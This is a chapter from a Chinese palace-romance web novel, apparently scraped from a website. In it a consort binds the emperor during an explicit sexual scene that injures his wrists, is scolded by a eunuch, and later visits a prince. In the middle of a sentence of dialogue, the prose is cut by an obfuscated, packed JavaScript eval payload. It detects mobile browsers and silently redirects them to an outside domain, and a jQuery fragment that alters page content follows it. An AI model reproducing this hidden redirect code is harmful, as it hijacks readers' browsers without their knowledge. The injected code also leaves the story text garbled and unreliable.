有时候男人说到做到真不一定是件好事。
就拿给我安排女官这件事吧,秦玦不达目的决不罢休,我赶走一个他塞来一个,无论我以什么理由赶走她们,又提出多么荒谬的要求,他都能精准给我找到让我无法再说出“不”的。
我坐的离秦玦远远的,头疼地看着下面跪着的女人。
秦玦倒心情不错的样子,气定神闲地抿了口茶。
“你觉得她怎么样。”
我咬牙,“很不怎么样!”
秦玦,“嗯,比如呢?”
我语重心长,“人无完人。”
秦玦,“是啊,人无完人,所以你就留下她吧。”
那女官倒是有眼力见,立马道:“求娘娘垂怜。”
我看向秦玦,“你为什么非要往我身边塞人?最近我整日与你在一起,她跟着多不方便啊。”
秦玦黑色的瞳孔锁定了我,直到我有些发毛,他才慢慢收回目光。
“御前自有规矩,她不会乱来,你不用多心,我没别的意思,就是让她给你排忧解闷罢了。”
我挪了挪屁股,紧挨着秦玦,搂住他的腰压在他身上。
“真的吗皇上,再商量商量。”
秦玦拨开我垂在他脸上的发丝,“怎么商量。”
我的手捏在他腰上最薄的位置,秦玦的呼吸紧跟着我的动作加快,身体也轻轻晃动。
“关上门商量。”
周围的人眼都不抬地退了下去,轻纱层层叠叠的垂下,将里面遮了个严实。
我将秦玦拉到软椅前推下去,他后背陷入绵软的锦垫中,抬手解开两人的腰带欲扔到一边,我打开他的掌心,连哄带骗将其夺了过来,趁着深吻的功夫捆在了秦玦的手上。
秦玦在一阵束缚感中将唇挪开,喘着气,打量手上的结,我压住他的膝盖,他抬眼。
“皇上,我不想要女官。”
秦玦明知故问:“为什么?”
我的手探进他的衣袍向下游移。
“我就是不喜欢,我身边有红枝和绿柳就够了。”
秦玦脸上挂着隐秘的痛苦,他大腿微微发抖,摇头挣扎,男人力道之大令我几乎都坐不住,我扯过他点缀着细小宝石和珠链的衣摆,翻到里侧,隔着握上去。
秦玦的手腕被腰带磨掉了一层皮,他语不成调,整个人像是刚从水里捞上来,细皮嫩肉上汗津津一片。
我手上动作虽然不温柔,却慢条斯理地和他商量。
“皇上,我从小就比较随意,爹娘都管不住,宫里的人我用不惯,我知道你最疼我,你就依了我吧。”
秦玦眼前一阵黑一阵白,他没感受过这种痛苦,没有人敢这样对他,每一秒都压着他承受力的极限,勾出更深层次的战栗,欲念、暴戾、恶毒......像是黎明前被潮气洇湿包在灵魂根部的泥,此刻都慢慢长了出来,将他一点点包裹严实,抛向天堂,又拖入地狱。
点缀高贵的冰冷物件摩擦着他,与情/事同样隐秘的,撕碎为人的尊严。
这些流光溢彩立于人前伟岸的东西,在观者云集之地隔绝他内心的空荡,唯有周妧,他留给了自己,或许会是一代帝王史书上流传千古的败笔,但更是他这一生与世间的全部温存,哪怕是污泥,也替他挡住胸口破风的洞。
秦玦抵御着足以击溃意识的快感和痛苦,脑海中有片干涸到皲裂的大地,正在哀鸣着崩溃。
进展到最后,他的目光已无法聚拢,经此消耗,再加上身体尚未完全恢复,想嘱咐什么,有心无力,头一倒便沉沉睡去。
秦玦的衣摆上湿得能拧出水,我解开他手上被扯得变形的腰带,他手腕上青红肿胀惨不忍睹,我心道不好,赶忙穿上衣服,蹑手蹑脚走到两扇门前,打开了道缝。
闻鸫正好回头,我俩就这么水灵灵的对视上了。
我:“......”
草!好尴尬,这该怎么开口。
闻鸫只是瞥了我一眼,就嫌弃地把脸扭开,“娘娘有何吩咐。”
“其实......”我的嘴唇碰了一下,“我能不能换个人吩咐,李居怀呢?”
闻鸫转向我,“现在这里就我,娘娘有事直接吩咐就是。”
我咳了一下,“那打盆水进来呗,再给我拿点治跌打重伤的药,最好是能敷的那种。”
他神色一遍,严肃道:“你伤着皇上了?”
啊这这......就不能是他伤到我了吗......
我刚想狡辩一下,他直接越过我走了进去。
妈的,要完!
“盈妃!!!!”
我赶紧跟了进去,闻鸫指着我,“你!你!”
“你是个太监你不懂,这就是我和皇上之间的一点小情趣而已......”
我看着秦玦,声音越来越低。
闻鸫没处理过类似的情况,脑子里的岩浆即将喷发。
“你真的好大的胆子啊!竟敢用这种不入流的手段争宠,还弄伤了皇上!”
我:“你是个太监,这种事吧它门道多的很,其中深浅我也不便与你分说。”
闻鸫立眉瞪眼,“盈妃,你犯下此等杀头的罪行,还敢在这里强词夺理?!”
我:“你有功夫在这里争论这个不如赶紧把东西找来。”
他恶狠狠瞪了我一眼,一时半会儿又拿我没办法,只得吩咐下去,眨眼的功夫东西就被送到。
我见他还站着,没好气儿道:“不赶紧下去还杵这儿干嘛,一点眼力见没有!”
他向我逼近一步,面目阴森。
“我知道皇上宠你,但有些事是原则问题,谁碰谁死,若下次再被我发现,我定告诉太后。”
我没搭理他,从一旁宫人的手中接过薄被搭在秦玦身上,抽出他的手仔细涂抹药膏。
秦玦中途醒了,也不发出声音,任我动作,直到我涂好,将他的手放下,他拽住了我。
我看着他,开口道歉,“对不起。”
秦玦挑眉,淡道:“怎么说。”
我:“我不该绑你,故意用衣裳上的小玩意折磨你。”
秦玦坐了起来,他拍了拍身旁的空位,示意我过来,“认错积极,及时弥补,下不为例就是。”
我嗅着他身上好闻的味道,“皇上,感觉你最近变了很多。”
秦玦神色未变,“有吗?”
我点头。
他搂住我,“那你会变吗?”
我没听清,又问了一遍,“什么?”
秦玦看着我,片刻后才笑道:“没什么。”
“我困了,想休息一下,你先出去吧。”
我爬起来,正想离开的时候被他拽住手,他问道:
“你不会到处乱跑吧。”
我拍了拍他的手背,“皇上放心,我哪儿都不去,只要您想见我,我一定出现。”
秦玦点头,听着她逐渐走远的脚步声,掀开薄被坐直了身子。
“杨殷。”
黑衣人像流影般出现在秦玦眼前。
秦玦:“事情查的如何?”
杨殷单膝跪地:“卑职未能完成任务。”
“找不到?”秦玦眼神愈发幽深,“这就有意思了。”
“藏得这么深,看来是当成宝贝了啊。”
杨殷:“我斗胆暗中搜查了淮南王的居所,冷大人应该有所察觉,但他并未阻拦,想必猜到了属下是有皇命在身。”
秦玦:“早年间阿镜救过他一命,派他近身保护阿镜就是看中了这份昔日旧恩,有些私心朕就当作没看见,可若私心妨碍了忠心,利刃割手,那这私心朕就容不下了。”
杨殷:“冷大人乃当代玄月门第一人,实力深不可测,恐已不逊于曾经的江老,更何况他孑然一身了无牵挂,如果全力抵抗,怕是不好得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752044|169340||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手。”
秦玦:“所以更要早做准备。”
帝王身侧,从不缺最强之人。
杨殷:“那卑职现在......”
秦玦:“去,盯紧盈妃。”
他原本想让江惟监视周妧,但江惟涉世不深,周妧又机敏,很容易反诈出江惟,不如让他安心练功,假以时日未必不可掣肘冷山月。
距离我的任务截止还有半日,我甩开一众宫女太监,溜进万俟镜住着的偏殿。
万俟镜背对着我,正在更衣,动作不紧不慢。
我吹了声口哨,“走光啦。”
他偏过头斜了我一眼,“淑女可不该是这个做派。”
我向前走了几步,懒洋洋倚在画屏上。
“我的耳环呢。”
“哦,”万俟镜语调转了个弯,“你今天就是来取回自己的东西的。”
“猜猜看。”我低头笑了一声,“你觉得我是来干嘛的。”
“懒得猜。”他扭头不再看我,长腿越过脚踏踩在地上,不甚规矩的坐上了西番莲纹罗汉床,“不过东西给不给,得看我心情,如果你此番只是为了寻东西而来,那我心情很不好。”
这不巧了嘛,我是来完成任务顺便拿回耳环的。
我坐在离他较远的地方,“话太好听,显得不真心,我不想说。”
万俟镜蹙眉,“真不真心,也得我来判断。”
我不说话,他俊秀的脸上带了些急切,走到我面前,“你故意惹我生气?”
我看了他一会儿,在他越来越不妙的脸色中,将脸贴在他的腹部。
“我哪儿敢惹小王爷生气啊。”
万俟镜被她语气中的亲昵哄得稍微将心放下,又暗恼自己不争气,但他到底没有继续纠结周妧为何而来。
周妧举止散漫,心不在焉,万俟镜的心就像是巨浪之上的树叶,时刻有倾覆之险,他隐隐察觉出不对,却又不知道旁的情人间相处起来是何模样。
万俟镜的心砰砰跳,抱在一起不够,亲吻不够,都远远不够,单薄的衣料也是阻碍,他想要与她赤身相贴,剖开彼此的胸膛,让脆弱的心脏在对方的皮肉中破土生长。
这样的画面仅仅是想象就能让他得到一种疯狂的快感,逼得他眼眶后生出酥麻的痛意,他将指尖放到嘴里,咬出了血。
万俟镜含糊道:“要是你能一直陪着我就好了。”
我的脸贴的离他耳朵很近,喟叹轻如烟尘,也让他听的无比清晰。
“谁都不能一直陪着谁。”
万俟镜脸上有片刻的迷茫,随后被不甘取代。
“总能有办法的。”
“也许吧。”我被他的天真取悦到了,手虚搭在他肩后,指尖盖到他的肩胛骨最高处,“我的耳环呢?”
他像是条在锅上蒸了太久的年糕,拉丝般粘住我,“你猜?这个东西可真是重要的很,昨夜似乎还来了个不速之客。”
我:“你发现什么了?”
万俟镜:“什么都没看到,是冷山月感受到了一股陌生气息波动,不过仅有一瞬,他并未抓到此人。”
说到这儿,他特意停顿了一下,
“但找不到答案往往也是种答案,行宫里何人武艺高强又对各宫位置了如指掌,定是表哥派来的。”
“你说,他是不是很霸道。”
我给了万俟镜想要的反应,“是,所以我这不是没选择他。”
“那你要选择谁?”万俟镜明知故问,他喜欢让周妧一而再再而三地强调自己的特别。
可周妧偏不如他的意,从他身上撤走。
她道:“咱俩认识这么久了,你好像从来都没说过喜欢我什么。”
万俟镜刚张嘴想回答,激烈的搏斗声从殿外传来。
“何人竟敢擅闯行宫!”
冷山月的声音是警告。
更是对我和万俟镜的提醒。